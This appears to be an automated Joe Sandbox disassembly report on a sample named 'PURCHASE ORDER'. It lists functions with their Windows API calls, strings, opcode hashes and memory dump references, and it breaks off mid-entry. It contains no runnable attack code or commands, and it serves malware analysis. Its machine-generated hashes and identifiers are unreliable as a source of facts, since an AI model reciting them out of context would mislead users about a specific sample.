                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __wcsicoll
                                                                          • String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
                                                                          • API String ID: 3832890014-4202584635
                                                                          • Opcode ID: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                          • Instruction ID: bf73cd225697d97a5a257e466bf5c8c79b4efa22739c650e03c6b1f9c6e9338c
                                                                          • Opcode Fuzzy Hash: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                          • Instruction Fuzzy Hash: 1D01616160562122FE11322A7C03BDF15898F5139AF14447BFC05F1282FF4DDA8692EE
                                                                          Function 00466999 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 312COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 004669C4
                                                                          • _wcsncpy.LIBCMT ref: 00466A21
                                                                          • _wcsncpy.LIBCMT ref: 00466A4D
                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                          • _wcstok.LIBCMT ref: 00466A90
                                                                            • Part of subcall function 004142A3: __getptd.LIBCMT ref: 004142A9
                                                                          • _wcstok.LIBCMT ref: 00466B3F
                                                                          • _wcscpy.LIBCMT ref: 00466BC8
                                                                          • GetOpenFileNameW.COMDLG32(00000058), ref: 00466CFE
                                                                          • _wcslen.LIBCMT ref: 00466D1D
                                                                          • _memset.LIBCMT ref: 00466BEE
                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                          • _wcslen.LIBCMT ref: 00466D4B
                                                                          • GetSaveFileNameW.COMDLG32(00000058), ref: 00466D9E
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcslen$FileName_memset_wcscpy_wcsncpy_wcstok$OpenSave__getptd
                                                                          • String ID: X$HH
                                                                          • API String ID: 3021350936-1944015008
                                                                          • Opcode ID: b06cb37d3db4ad53d3a41f94d3d7a052046d00add24c9c6de48b5fd017d77e84
                                                                          • Instruction ID: 73e83d7ea4d12cbe09e247b0b8120e99e9ae8af51722f6ce2f45a1bbad6557a4
                                                                          • Opcode Fuzzy Hash: b06cb37d3db4ad53d3a41f94d3d7a052046d00add24c9c6de48b5fd017d77e84
                                                                          • Instruction Fuzzy Hash: D1C1B2715043408BC714EF65C981A9FB3E4BF84304F15892FF949AB292EB78E905CB9B
                                                                          Function 0045F48E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 226windowsleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 0045F4AE
                                                                          • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F519
                                                                          • SetMenuItemInfoW.USER32(00000008,00000004,00000000,?), ref: 0045F556
                                                                          • Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 0045F568
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: InfoItemMenu$Sleep_memset
                                                                          • String ID: 0
                                                                          • API String ID: 1504565804-4108050209
                                                                          • Opcode ID: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                          • Instruction ID: 9e8996cb251b45e9fd8013479734a73363ce4640cf951279a7d2fdadd0934edb
                                                                          • Opcode Fuzzy Hash: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                          • Instruction Fuzzy Hash: E171E3711043406BD3109F54DD48FABBBE8EBD5306F04086FFD8587252D6B9A94EC76A
                                                                          Function 004556F8 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 216COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DestroyWindow.USER32(?,004A83D8,?), ref: 00455800
                                                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00400000,00000000), ref: 00455847
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$CreateDestroy
                                                                          • String ID: ,$tooltips_class32
                                                                          • API String ID: 1109047481-3856767331
                                                                          • Opcode ID: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                          • Instruction ID: af4df8b80438f92fd5356fe82daba85812243c44dff517d7eb602cf52e2cfce3
                                                                          • Opcode Fuzzy Hash: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                          • Instruction Fuzzy Hash: BF719075244704AFE320DB28CC85F7B77E4EB89700F50491EFA8197391E6B5E905CB59
                                                                          Function 0045CBCC Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 202COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _wcsncpy.LIBCMT ref: 0045CCFA
                                                                          • __wsplitpath.LIBCMT ref: 0045CD3C
                                                                          • _wcscat.LIBCMT ref: 0045CD51
                                                                          • _wcscat.LIBCMT ref: 0045CD63
                                                                          • GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000104,?), ref: 0045CD78
                                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,00000104,?), ref: 0045CD8C
                                                                            • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                          • GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDD0
                                                                          • SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDE6
                                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDF8
                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 0045CE08
                                                                          • _wcscpy.LIBCMT ref: 0045CE14
                                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CE5A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CurrentDirectory$AttributesFile$_wcscat$__wsplitpath_wcscpy_wcsncpy
                                                                          • String ID: *.*
                                                                          • API String ID: 1153243558-438819550
                                                                          • Opcode ID: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                          • Instruction ID: 4b7f18f3392d5c51d0b0bcfc25b88d1348604f1c1aa494fd035d881d108a9fe9
                                                                          • Opcode Fuzzy Hash: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                          • Instruction Fuzzy Hash: 0561E5B61043419FD731EF54C885AEBB7E4EB84305F44882FED8983242D67D998E879E
                                                                          Function 0045510D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 115windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 00455127
                                                                          • GetMenuItemInfoW.USER32 ref: 00455146
                                                                          • DeleteMenu.USER32(?,?,00000000), ref: 004551B2
                                                                          • DeleteMenu.USER32(?,?,00000000), ref: 004551C8
                                                                          • GetMenuItemCount.USER32(?), ref: 004551D9
                                                                          • SetMenu.USER32(?,00000000), ref: 004551E7
                                                                          • DestroyMenu.USER32(?,?,00000000), ref: 004551F4
                                                                          • DrawMenuBar.USER32 ref: 00455207
                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Menu$Delete$Destroy$ItemObject$CountDrawIconInfoWindow_memset
                                                                          • String ID: 0
                                                                          • API String ID: 1663942905-4108050209
                                                                          • Opcode ID: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                          • Instruction ID: b4bdd7d0bd4ee66815c45afb4cba49e6688c1fb7c5fb2b704b87d0eb3faa17d4
                                                                          • Opcode Fuzzy Hash: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                          • Instruction Fuzzy Hash: F4413B70600A01AFD715DF24D9A8B6B77A8BF44302F40891DFD49CB292DB78EC44CBA9
                                                                          Function 00415C25 Relevance: 22.7, APIs: 15, Instructions: 236COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __get_daylight__invoke_watson$__gmtime64_s$__getptd_noexit
                                                                          • String ID:
                                                                          • API String ID: 1481289235-0
                                                                          • Opcode ID: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                          • Instruction ID: 11750150b5911b8a2d77b888e51b7102539fbc40f42687a9f62e69b5342e6946
                                                                          • Opcode Fuzzy Hash: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                          • Instruction Fuzzy Hash: 8461B372B00B15DBD724AB69DC81AEB73E99F84324F14452FF011D7682EB78DA808B58
                                                                          Function 0046FB53 Relevance: 22.7, APIs: 15, Instructions: 176windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 0046FB61
                                                                          • ExtractIconExW.SHELL32(?,000000FF,?,?,00000001), ref: 0046FB7A
                                                                          • SendMessageW.USER32 ref: 0046FBAF
                                                                          • SendMessageW.USER32 ref: 0046FBE2
                                                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,?,00000001), ref: 0046FC1B
                                                                          • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0046FC3E
                                                                          • ImageList_Create.COMCTL32(00000020,00000020,00000021,?,00000001), ref: 0046FC51
                                                                          • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 0046FC73
                                                                          • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FC97
                                                                          • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FCA5
                                                                          • SendMessageW.USER32 ref: 0046FD00
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$IconImageList_$CreateExtractReplace
                                                                          • String ID:
                                                                          • API String ID: 2632138820-0
                                                                          • Opcode ID: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                          • Instruction ID: f8b2170a3f6480226351c2682443129a31dd3945ebd2779c8b18a40e734619f9
                                                                          • Opcode Fuzzy Hash: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                          • Instruction Fuzzy Hash: A461BF70208305AFD320DF14DC85F5BB7E4FB89B14F10492EFA85972D1E7B4A8498B66
                                                                          Function 00433BAC Relevance: 22.6, APIs: 15, Instructions: 79COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadCursorW.USER32(00000000,00007F89), ref: 00433BC7
                                                                          • LoadCursorW.USER32(00000000,00007F8A), ref: 00433BDE
                                                                          • LoadCursorW.USER32(00000000,00007F03), ref: 00433BF5
                                                                          • LoadCursorW.USER32(00000000,00007F8B), ref: 00433C0C
                                                                          • LoadCursorW.USER32(00000000,00007F01), ref: 00433C23
                                                                          • LoadCursorW.USER32(00000000,00007F88), ref: 00433C3A
                                                                          • LoadCursorW.USER32(00000000,00007F86), ref: 00433C51
                                                                          • LoadCursorW.USER32(00000000,00007F83), ref: 00433C68
                                                                          • LoadCursorW.USER32(00000000,00007F85), ref: 00433C7F
                                                                          • LoadCursorW.USER32(00000000,00007F82), ref: 00433C96
                                                                          • LoadCursorW.USER32(00000000,00007F84), ref: 00433CAD
                                                                          • LoadCursorW.USER32(00000000,00007F04), ref: 00433CC4
                                                                          • LoadCursorW.USER32(00000000,00007F02), ref: 00433CDB
                                                                          • LoadCursorW.USER32(00000000,00000000), ref: 00433CEF
                                                                          • LoadCursorW.USER32(00000000,00007F00), ref: 00433D06
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CursorLoad
                                                                          • String ID:
                                                                          • API String ID: 3238433803-0
                                                                          • Opcode ID: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                          • Instruction ID: acd63d7325575073817552101614e6badc0a76bef24473f745c9da0ba21645f6
                                                                          • Opcode Fuzzy Hash: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                          • Instruction Fuzzy Hash: 6D310E3058C302FFE7504F50EE0AB1C36A0BB48B47F008C7DF64AA62E0E6F055009B9A
                                                                          Function 00460ABB Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 294windowtimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetClassNameW.USER32(?,?,00000100), ref: 00460AF5
                                                                          • _wcslen.LIBCMT ref: 00460B00
                                                                          • __swprintf.LIBCMT ref: 00460B9E
                                                                          • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00460C11
                                                                          • GetClassNameW.USER32(?,?,00000400), ref: 00460C8E
                                                                          • GetDlgCtrlID.USER32(?), ref: 00460CE6
                                                                          • GetWindowRect.USER32(?,?), ref: 00460D21
                                                                          • GetParent.USER32(?), ref: 00460D40
                                                                          • ScreenToClient.USER32(00000000), ref: 00460D47
                                                                          • GetClassNameW.USER32(?,?,00000100), ref: 00460DBE
                                                                          • GetWindowTextW.USER32(?,?,00000400), ref: 00460DFB
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_wcslen
                                                                          • String ID: %s%u
                                                                          • API String ID: 1899580136-679674701
                                                                          • Opcode ID: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                          • Instruction ID: ed0b46c26cbb3f928a943cd91895a09858176ee0e89b0f6962e21683ef9d2041
                                                                          • Opcode Fuzzy Hash: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                          • Instruction Fuzzy Hash: 3AA1CD722043019BDB14DF54C884BEB73A8FF84714F04892EFD889B245E778E946CBA6
                                                                          Function 0047D5F6 Relevance: 21.2, APIs: 4, Strings: 8, Instructions: 210COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CoTaskMemFree.OLE32(?), ref: 0047D6D3
                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                          • StringFromCLSID.OLE32(?,?), ref: 0047D6B5
                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                          • StringFromIID.OLE32(?,?), ref: 0047D7F0
                                                                          • CoTaskMemFree.OLE32(?), ref: 0047D80A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: FreeFromStringTask_wcslen$_wcscpy
                                                                          • String ID: 0vH$CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32$HH
                                                                          • API String ID: 2485709727-934586222
                                                                          • Opcode ID: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                          • Instruction ID: 9b1d76abf7044590dd80f2c514dab21f357569e7696d0ed80310904c07b122bf
                                                                          • Opcode Fuzzy Hash: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                          • Instruction Fuzzy Hash: 63714BB5614201AFC304EF25C981D5BB3F8BF88704F108A2EF5599B351DB78E905CB6A
                                                                          Function 0045DB3E Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 181COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscpy$Folder_memset$BrowseDesktopFromInitializeListMallocPathUninitialize
                                                                          • String ID: HH
                                                                          • API String ID: 3381189665-2761332787
                                                                          • Opcode ID: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                          • Instruction ID: 9856a5a3be2a6f4b6f15ab218c20ab076772672eb14c4daba281b2e598c2a196
                                                                          • Opcode Fuzzy Hash: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                          • Instruction Fuzzy Hash: E1619AB59043009FC320EF65C88499BB7E9BFC8704F048E1EF98987252D775E849CB6A
                                                                          Function 00434506 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetDC.USER32(00000000), ref: 00434585
                                                                          • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00434590
                                                                          • CreateCompatibleDC.GDI32(00000000), ref: 0043459B
                                                                          • SelectObject.GDI32(00000000,?), ref: 004345A9
                                                                          • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00434618
                                                                          • GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00434665
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CompatibleCreate$BitmapBitsObjectSelectStretch
                                                                          • String ID: (
                                                                          • API String ID: 3300687185-3887548279
                                                                          • Opcode ID: a49f41e91dac5baa2c50b775dc8de30f0d01d64d4146e99f951c4697ae3d27a6
                                                                          • Instruction ID: a007e7ec8c3f390601fcb6226b5fc218b62818acb39bbc9fe8cd9ddeb27b86ed
                                                                          • Opcode Fuzzy Hash: a49f41e91dac5baa2c50b775dc8de30f0d01d64d4146e99f951c4697ae3d27a6
                                                                          • Instruction Fuzzy Hash: E4514871508345AFD310CF69C884B6BBBE9EF8A310F14881DFA9687390D7B5E844CB66
                                                                          Function 0045E41B Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 150COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E463
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E480
                                                                          • __swprintf.LIBCMT ref: 0045E4D9
                                                                          • _printf.LIBCMT ref: 0045E595
                                                                          • _printf.LIBCMT ref: 0045E5B7
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: LoadString_printf$__swprintf_wcslen
                                                                          • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR $HH
                                                                          • API String ID: 3590180749-2894483878
                                                                          • Opcode ID: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
